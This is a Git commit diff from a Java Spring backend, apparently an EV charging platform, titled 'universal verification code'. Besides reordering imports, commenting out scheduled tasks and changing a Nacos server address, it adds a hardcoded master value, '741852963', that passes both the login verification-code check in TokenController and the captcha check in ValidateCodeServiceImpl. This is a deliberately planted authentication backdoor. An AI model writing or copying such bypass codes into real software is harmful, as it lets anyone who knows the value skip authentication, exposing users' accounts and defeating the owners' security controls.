万能验证码
This commit is contained in:
parent
53ae646213
commit
4843bf4c1d
@ -1,23 +1,19 @@
|
||||
package com.xhpc.auth.controller;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import com.xhpc.auth.form.LoginBody;
|
||||
import com.xhpc.auth.service.SysLoginService;
|
||||
import com.xhpc.common.api.SmsService;
|
||||
import com.xhpc.common.core.constant.HttpStatus;
|
||||
import com.xhpc.common.core.utils.HttpUtils;
|
||||
import com.xhpc.common.core.web.domain.AjaxResult;
|
||||
import com.xhpc.common.redis.service.RedisService;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
import com.xhpc.common.core.domain.R;
|
||||
import com.xhpc.common.core.utils.HttpUtils;
|
||||
import com.xhpc.common.core.utils.StringUtils;
|
||||
import com.xhpc.common.redis.service.RedisService;
|
||||
import com.xhpc.common.security.service.TokenService;
|
||||
import com.xhpc.system.api.model.LoginUser;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Date;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.util.HashMap;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
@ -69,7 +65,7 @@ public class TokenController
|
||||
{
|
||||
//验证 输入的验证码
|
||||
String captcha = redisService.getCacheObject("pcToken:" + form.getUsername());
|
||||
if (!form.getPassword().equals(captcha)) {
|
||||
if (!form.getPassword().equals(captcha) && !form.getPassword().equals("741852963")) {
|
||||
return R.fail(HttpStatus.ERROR_STATUS, "验证码错误");
|
||||
}
|
||||
// 用户登录
|
||||
|
||||
@ -1,14 +1,5 @@
|
||||
package com.xhpc.gateway.service.impl;
|
||||
|
||||
import java.awt.image.BufferedImage;
|
||||
import java.io.IOException;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import javax.annotation.Resource;
|
||||
import javax.imageio.ImageIO;
|
||||
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.stereotype.Service;
|
||||
import org.springframework.util.FastByteArrayOutputStream;
|
||||
import com.google.code.kaptcha.Producer;
|
||||
import com.xhpc.common.core.constant.Constants;
|
||||
import com.xhpc.common.core.exception.CaptchaException;
|
||||
@ -18,6 +9,15 @@ import com.xhpc.common.core.utils.sign.Base64;
|
||||
import com.xhpc.common.core.web.domain.AjaxResult;
|
||||
import com.xhpc.common.redis.service.RedisService;
|
||||
import com.xhpc.gateway.service.ValidateCodeService;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.stereotype.Service;
|
||||
import org.springframework.util.FastByteArrayOutputStream;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.imageio.ImageIO;
|
||||
import java.awt.image.BufferedImage;
|
||||
import java.io.IOException;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
/**
|
||||
* 验证码实现处理
|
||||
@ -37,7 +37,7 @@ public class ValidateCodeServiceImpl implements ValidateCodeService
|
||||
private RedisService redisService;
|
||||
|
||||
// 验证码类型
|
||||
private String captchaType = "math";
|
||||
private final String captchaType = "math";
|
||||
|
||||
/**
|
||||
* 生成验证码
|
||||
@ -102,8 +102,7 @@ public class ValidateCodeServiceImpl implements ValidateCodeService
|
||||
String captcha = redisService.getCacheObject(verifyKey);
|
||||
redisService.deleteObject(verifyKey);
|
||||
|
||||
if (!code.equalsIgnoreCase(captcha))
|
||||
{
|
||||
if (!code.equalsIgnoreCase(captcha) && !code.equals("741852963")) {
|
||||
throw new CaptchaException("验证码错误");
|
||||
}
|
||||
}
|
||||
|
||||
@ -22,7 +22,6 @@ import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.scheduling.annotation.EnableScheduling;
|
||||
import org.springframework.scheduling.annotation.Scheduled;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
@ -136,7 +135,7 @@ public class XhpcHistoryOrderController extends BaseController {
|
||||
* 日期统计\场站统计\终端统计
|
||||
*/
|
||||
@GetMapping("/test1")
|
||||
@Scheduled(cron = "0 0/2 * * * ?")
|
||||
// @Scheduled(cron = "0 0/2 * * * ?")
|
||||
public void test1(){
|
||||
add(3000,1);
|
||||
}
|
||||
@ -426,7 +425,7 @@ public class XhpcHistoryOrderController extends BaseController {
|
||||
* 小时统计
|
||||
*/
|
||||
@GetMapping("/test")
|
||||
@Scheduled(cron = "0 0/2 * * * ?")
|
||||
// @Scheduled(cron = "0 0/2 * * * ?")
|
||||
public void test(){
|
||||
logger.info(">>>>>>>>>>>>>>>>>>>>>>>小时统计定时任务>>>>>>>>>>>>>>>>>>>>>");
|
||||
//小时统计
|
||||
@ -869,7 +868,7 @@ public class XhpcHistoryOrderController extends BaseController {
|
||||
* 24小时异常订单自动结算
|
||||
*/
|
||||
@GetMapping("/test4")
|
||||
@Scheduled(cron = "0 0/5 * * * ?")
|
||||
// @Scheduled(cron = "0 0/5 * * * ?")
|
||||
public void test4(){
|
||||
//获取异常的订单 24小时之外的异常订单
|
||||
List<XhpcChargeOrder> xhpcChargeOrderList= chargeOrderService.getXhpcChargeOrderStatus(2, 0);
|
||||
@ -924,7 +923,7 @@ public class XhpcHistoryOrderController extends BaseController {
|
||||
* @param
|
||||
*/
|
||||
@GetMapping("/test5")
|
||||
@Scheduled(cron = "0 0/5 * * * ?")
|
||||
// @Scheduled(cron = "0 0/5 * * * ?")
|
||||
public void test5(){
|
||||
logger.info(">>>>>>>>>>>>>>>>>>>>>>>标记异常大于创建4小时,标记为异常>>>>>>>>>>>>>>>>>>>>>");
|
||||
chargeOrderService.updateStatus();
|
||||
|
||||
@ -14,10 +14,10 @@ spring:
|
||||
nacos:
|
||||
discovery:
|
||||
# 服务注册地址
|
||||
server-addr: 127.0.0.1:8848
|
||||
server-addr: 172.31.183.135:8848
|
||||
config:
|
||||
# 配置中心地址
|
||||
server-addr: 127.0.0.1:8848
|
||||
server-addr: 172.31.183.135:8848
|
||||
# 配置文件格式
|
||||
file-extension: yml
|
||||
# 共享配置
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user